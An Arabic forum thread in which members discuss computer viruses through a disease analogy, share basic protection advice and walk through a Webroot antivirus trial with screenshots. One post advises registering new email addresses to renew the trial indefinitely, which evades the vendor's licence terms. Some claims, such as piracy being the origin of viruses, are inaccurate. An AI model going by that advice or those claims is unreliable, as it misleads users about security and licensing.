ولست فى حاجة الى الحلوف بايمان تعيد الكافر الى حظيرة الايمان باننى مستخدم جيد اساسا للحاسب
انا شخص فضولى فقط احب اعرف اى شئ عن اى شيء وليس معنى هذا اننى خبير
لو انك اخبرت شخصا لا يعرف امرا ما عن الحاسب
فسوف يظن بك الظنونا ويقول انك " استاذ فى مجالك "
لا يوجد محترف فى العالم -- انما هى مجرد مهارات وخبرات تنمو مع الوقت
وتتراكم حتى تصبح على ما انت عليه او الى ما تريد ان تصير اليه
ولك فى موسي رسول الله الاسوة حين ظن انه يعلم كل شئ فى الكون
حتى ارسله الله الى الخضر -- وادرك انــــ
" وما اوتيتم من العلم الا قليلا "....
ولا يسعنى الا القول
اللهم علمنا ما جهلنا وانفعنا بما علمتنا

جزاك الله خيرا مستر أحمد وأكثر الله من أمثالك

الأستاذ الفاضل /( مدرس بالأجر ) جزاك الله عني خيرا . شعرت بالفعل أن سؤالي كان محيرا . بل وازددت حيرة مع قراءتي لتحليلاتك والتي إن دلت على شئ تدل على أنك رجل بروفيشنال في عالم الكومبيوتر. مخلص لله تعالى . لك مني جزيل الشكر وموفور التحية

أخى الفاضل مستر محمد

الفيروسات هى برامج هجوميه للبرمجيات وجهاز الكمبيوتر نفسة(الهاردوير) فهى تمثل أمراض للجهاز والبرامج التى تعمل عليه

يصيب الأنسان بالأمراض وهل يوجد دواء واحد لكل الأمراض

لكل مرض دواء

كذلك الفيروسات تجد ان الأنتى فيرس يكتشف مجموعة من الفيروسات التى صمم من أجلها

وقد لا يكتشف الأخرى أو الأحدث ان لم يتم تحديثه

لكن مثل الأنسان يوجد مناعه ذاتيه لبعض الأمراض

فأنك ممكن تعطى جهازك مناعه ذاتيه وذلك

لا تضع اسطوانات او فلاشات على جهازك الا اذا كنت واثق من مصدرها

وانها خاليه من الفيروسات

لا تدخل مواقع مشبوهه على النت

لا تفتح ملفات تم تحملها من النت الا بعد فحصها

واعلم ان الألعاب بيئه خصبه للفيروسات

واعلم أن سبب وجود الفيروسات من الأول هو النسخ الغير قانونى (سرقة البرامج)

كلام مقنع وجميل وقانا اللهم وإياك شر المرض وكذلك أمة المسلمين . آمين يارب العالمين .

لكن هل يمكن تشغيل أكثر من برنامج مضاد للفيروسات على نفس الجهاز في آن واحد ؟ دون أن يحدث تعارض بينهما ؟

حينما كنت طالبا فى الاعدادية من 13 سنة كانوا يحذروننا من تناول اثنين مضاد حيوي فى وقت واحد
تخيل ان الحاسب هو جسم انسان مريض
اذا ما اعطيتة عدد اثنين مضاد فالتضارب امر حتمى
دى مصارين البطن بتتعارك
لو انك تشك فى ان الانتى فيرس لديك ليس بالقوة الكافية او انه لا يؤدى ما يجب عليه عمله
يمكنك الاستعانة باحد الادوات الخفيفة جدا
والسريعة جدا
والتى لن تستغرق منك اكثر من دقائق لفحص البارتيشن سي مثلا
يمنك تجربة الاداة المسماة بـــــ webroot cloude anti-virus
قم بالتسجيل فى الموقع الرسمى
http://www.webroot.com/customerSupport/trialRegistration.php
ستجد رابط التحميل قم بتحميل البرنامج بحجم 2 ميجا تقريبا
http://zapp4.staticworld.net/reviews/graphics/products/uploaded/webroot_secureanywhere_essentials_2012_1180931_g2. jpg


اذهب الى الايميل بتاعك اللى سجلت بيه فى الموقع
ستجد به باسوورد ستعمل لديك لمدة 15 يوم او اكثر
حين تنتهى صلاحيتة قم بصنع ايميل جديد وسجل تانى فى الموقع وحمل نسخة تانى وهكذا
اذا اردت تحميل نسخة كاملة ب 80دولار
فسوف تواجه مشاكل كثيرة عانيت منها شخصيا
مثلا : يتمتع البرنامج باقوى جدار نارى
مما يعنى مواجهتك مشاكل فى الانترنت والتصفح وايضا حماية قصوى للشبكة الداخلية والخارجية
http://www3.pcmag.com/media/images/271767-webroot-secureanywhere-antivirus-rare-false-positive.jpg

انصحك بهذا الاصدار المجانى الجميل والرائح والجيد جدا

اذا اردت ايقافة او تشغيلة من خلال قائمة بروجرام "البرامج"
ستظهر لك مثل هاذى الرسالة
قم بكتابة Caption تلكم الرموز
اذا اردت تشغيلة ايضا ربما تكتب نفس الرموز
http://maxuninstaller.com/howtouninstallguides/wp-content/uploads/2012/04/Webroot_SecureAnywhere_Antivirus_2012_in_all_progr am2.png
جرب وقولى رأيك
؟؟


كما يمكنك التسجيل فى الموقع لتمتع بصلاحيات اكبر
طالما هذه الاداة موجودة على جهازك
منها الفحص المباشر الصمات لجهازك وحمايتة من اى برنامج خبيث دخيل
كما ترى بالصورة التالية معى من جهازى المحمى من موثع ويب رووت رسميا
http://www6.0zz0.com/2012/06/25/12/682322324.jpg


حاول استكشاف مميزات البرنامج بنفسك

حينما فحصت قرص النظام "قرص السي" كالاتى
http://www6.0zz0.com/2012/06/25/12/801291859.png

وانت اذا اردت الفحص اضغط كليك يمين واختر فحص
لاى مجلد او بارتيشن
مثلما تتعامل مع اى انتى فيرس اخر


http://www6.0zz0.com/2012/06/25/12/302288032.png

اضغط نكست لحزف الفيروسات الموجود ان وجدت لديك

http://www6.0zz0.com/2012/06/25/12/283679583.png

شكرا مستر أحمد للاضافة الجميله

أعلم مستر محمد أنه لابد من وجود أسطوانة الأنقاظ

وتقوم بحص جهازك بصفة دوريه من خلال هذه الأسطوانه

وهى ذاتية الأقلاع وهى تكتشف الفيروس حتى ولو كان على

ملفات نظام التشغيل

لان الفيروس لو اتملك من ملفات نظام التشغيل يبقى مينفعشى

الأنتى فيروس هنا تم اختراقة او انه لا يعمل

بجد كل الشكر والتقدير الي أ.مدرس بالاجر الاستاذة أم أمل

جزاكم الله خيرا للمرور

يعنى ايه تجسس دى واعرف ازاى انا ويندوز 7

الحكاية دى غير مخصصة لنظام ويندوز اكس بى بس
ولكن لجميع انظمة تشغيل النوافذ
وطبعا ويندو Se7en او ويندوز 8 كمان
ابحث اكثر فى قسم البرامج وقسم شروحات البرامج ستجدون موضوعات مفيدة تم طرحها
منى او من ام امل او من باقى الاعضاء الكرام الذين لا يكفون عن اثرائنا بالمزيد كل يوم

جزاكم الله خيرا على هذه المعلومات الرائعة

شكرا لكى على هذه المعلومات

شككككرا لك ..............

eng.emy ahmed
tomjerry741
فيض خاطري
ابتسام على
مصطفى العبقري
http://uploads.sedty.com/imagehosting/282818_1329671184.gif

شكرا علي الموضوع

الهنداوي3000
http://uploads.sedty.com/imagehosting/282818_1329671184.gif

شكرااااااااااااااااااااااااااااااااااا

جزاكم الله خيرا

جزاك الله كل خير . بارك الله فيك